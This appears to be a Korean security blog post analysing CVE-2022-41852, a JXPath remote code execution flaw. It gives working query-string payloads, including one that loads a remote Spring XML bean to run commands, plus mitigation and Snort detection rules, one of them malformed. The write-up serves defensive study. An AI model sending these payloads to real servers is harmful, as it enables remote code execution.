( 1 ) 취약점 정보
2022년 10월 06일 국제 공인 취약점 데이터베이스 사이트(https://nvd.nist.gov/)에 CVE-2022-41852 명명식으로 기재됨.
해당 취약점은 JXPath 라이브러리를 사용하여 신뢰할 수 없는 XPath 표현식을 악용 시 원격코드 실행 취약점이 가능하며 CVSS3 9.7 점으로 위험한 취약점으로 분류됨.
XPath 문자열을 처리하는 모든 JXPathContext 클래스 함수는 compile() 및 compilePath() 함수를 제외하고 취약함.
공격자는 XPath 표현식을 사용하여 클래스 경로에서 Java 클래스를 로드하여 원하는 작업을 실행할 수 있음.
외부에서 XPath 표현식에 대한 값을 제공할 수 있으면 공격자는 어플리케이션 서버에서 악의적인 코드를 실행할 수 있음.
취약한 버전은 JXPaxh 라이브러리 1.3 버전 이하로 모두 해당됨.
현재 JXPaxh 라이브러리에 공식적인 패치 수정 사항은 없으며 XPath 기능 비활성화는 서비스 차원에서 불가능하므로 보안장비에 탐지패턴을 등록하여 보호해야 함.
■ 취약한 버전 정보
아티팩트 ID : commons-jxpath
그룹 ID : commons-jxpath
패키지 : org.apache.commons.jxpath
버전 : <= 1.3
참고로 JXPath 라이브러리는 Apache 사에서 제공하는 라이브러리로 오브젝트를 XPath 형식으로 사용할 수 있게 해주는 라이브러리임.
JXPath 홈페이지 :
https://commons.apache.org/proper/commons-jxpath/
추가로 XPath(XML Path Language) 란 W3C 표준으로 확장 생성 언어 문서의 구조를 통해 경로 위에 지정한 구문을 사용하여 항목을 배치하고 처리하는 방법을 기술하는 언어임.
XML 표현보다 더 쉽고 약어로 되어 있으며 XSL 변환(XSLT)과 XML 지시어 언어(XPointer)에 쓰이는 언어임.
XPath 는 XML 문서의 노드를 정의하기 위하여 경로식을 사용하며, 수학 함수와 기타 확장 가능한 표현들이 있음.
XPath 참고 사이트 :
https://ko.wikipedia.org/wiki/XPath
( 2 ) PoC 분석
JXPath 라이브러리는 XPath 표현식에서 함수 실행을 지원함.
공식 사용자 가이드 링크 :
https://commons.apache.org/proper/commons-jxpath/users-guide.html#Standard_Extension_Functions
예를 들어, JXPathContext.getValue(path) 및 JXPathContext.iterate(path) 메소드는 사용자가 경로 매개변수에 입력을 보내도록 하면 위험함.
현재 JXPath 라이브러리의 취약한 코드에 대한 정확한 분석 정보는 공개되지 않았으며 아래와 같이 PoC 를 통한 취약점 테스트 정보만 기재됨.
해당 PoC 정보를 토대로 보안장비에 등록할 탐지패턴를 도출하고자 함.
현재 공개된 PoC 를 가지고 간단한 Spring 프레임워크 응용 프로그램을 구축함.
PoC 링크 :
https://github.com/Warxim/CVE-2022-41852
사용자 입력을 받아 Persion 클래스에서 지정된 데이터를 검색하는 데 사용하는 단순하고 취약한 엔드포인트 메소드가 포함되어 있음.
이 엔드포인트에 대한 유효한 사용자 입력은 "author", "name" 및 "/" 임.
< 취약한 엔드포인트 >
쿼리 문자열 ?path=website 로 엔드포인트를 호출하면 웹사이트가 반환됨.
< 쿼리 매개변수의 유효한 XPath 값 >
그러나 공격자는 Java 코드로 악의적인 코드를 보낼 수 있음.
예를 들어 아래와 같은 쿼리 문자열을 보낼 경우 응용 프로그램이 종료됨.
?path=java.lang.System.exit(42)
< java.lang.System.exit(42) 쿼리 문자열 입력 시 Spring 어플리케이션 로그 >
그러나 사용자 입력이 응용 프로그램에 의해 접두사/접미사가 붙는 사례가 있을 수 있음.
예를 들어 앞에 슬래시 문자(/)가 있을 수 있음.
그러나 공격자는 XPath 파이프를 활용하여 쿼리 문자열을 보낼 수 있기 때문에 우회가 가능함.
?path=%7Cjava.lang.System.exit(42)
< 취약한 엔드포인트 또 다른 예 >
응용 프로그램을 종료하는 방법 외에도 명령어 실행하는 방법은 많음.
그 중 하나는 XML 구성을 사용하여 bean 을 로드할 수 있는 Spring 의 ClassPathXmlApplicationContext 를 활용함.
악의적은 코드는 서버에서 외부 XML 파일로 로드함.
?path=org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")
XML 파일에는 Windows 에서 명령 프롬프트를 사용하여 계산기를 실행하기 위한 매개변수와 함께 Java 의 ProcessBuilder 에서 bean 을 생성하기 위한 구성이 포함됨.
< Spring 의 XML Bean 정의 >
이 간단한 PoC 코드로 Windows 서버에서 계산기를 실행시킴.
< 계산기 실행시키는 PoC 화면 >
( 3 ) 취약점 방어
현재 JXPaxh 라이브러리에 공식적인 패치 수정 사항은 없으며 XPath 기능 비활성화는 서비스 차원에서 불가능하므로 보안장비에 탐지패턴을 등록하여 보호해야 함.
문제 해결 방안이 기재되었으나 시스템 속성 "jxpath.class.deny" 를 설정하여 제한된 클래스 이름 목록을 지정하는 방법임.
ex. "jxpath.class.deny=java.lang.Runtime" 등록 시 xpath 를 통한 java.lang.Runtime 클래스 노출을 거부하지만 다른 모든 클래스는 노출됨. 아니면 하나 이상의 클래스를 지정할려면 쉼표를 구분 기호로 사용하여 전부 다 지정해야 함.
CVE-2022-41852 취약점에 대한 Apache 사의 답변 사이트 :
https://github.com/apache/commons-jxpath/pull/25
현재 공개된 PoC 를 대상으로 보안장비에 Snort 패턴을 등록하여 모니터링 및 대응함.
아래 와 같이 CVE-2022-41852 취약점 공격 시도 시 사용되는 문자열들이 URL 에 포함될 경우 탐지하는 패턴임.
- java.lang.System.exit(42)
- java.lang.Thread.sleep
- org.springframework.context.support.ClassPathXmlApplicationContext.new
alert tcp any any -> any any (msg:"KOROMOON_JXPath_Library_RCE_Access_1"; content:"java.lang.System.exit(42)"; http_uri; nocase;)
alert tcp any any -> any any (msg:"KOROMOON_JXPath_Library_RCE_Access_2"; content:"content:"java.lang.Thread.sleep"; http_uri; nocase;)
alert tcp any any -> any any (msg:"KOROMOON_JXPath_Library_RCE_Access_3"; content:"org.springframework.context.support.ClassPathXmlApplicationContext.new"; http_uri; nocase;)
참고 사이트 :
https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/
https://nvd.nist.gov/vuln/detail/CVE-2022-41852
https://github.com/Warxim/CVE-2022-41852
https://github.com/apache/commons-jxpath/pull/25
댓글 없음:
댓글 쓰기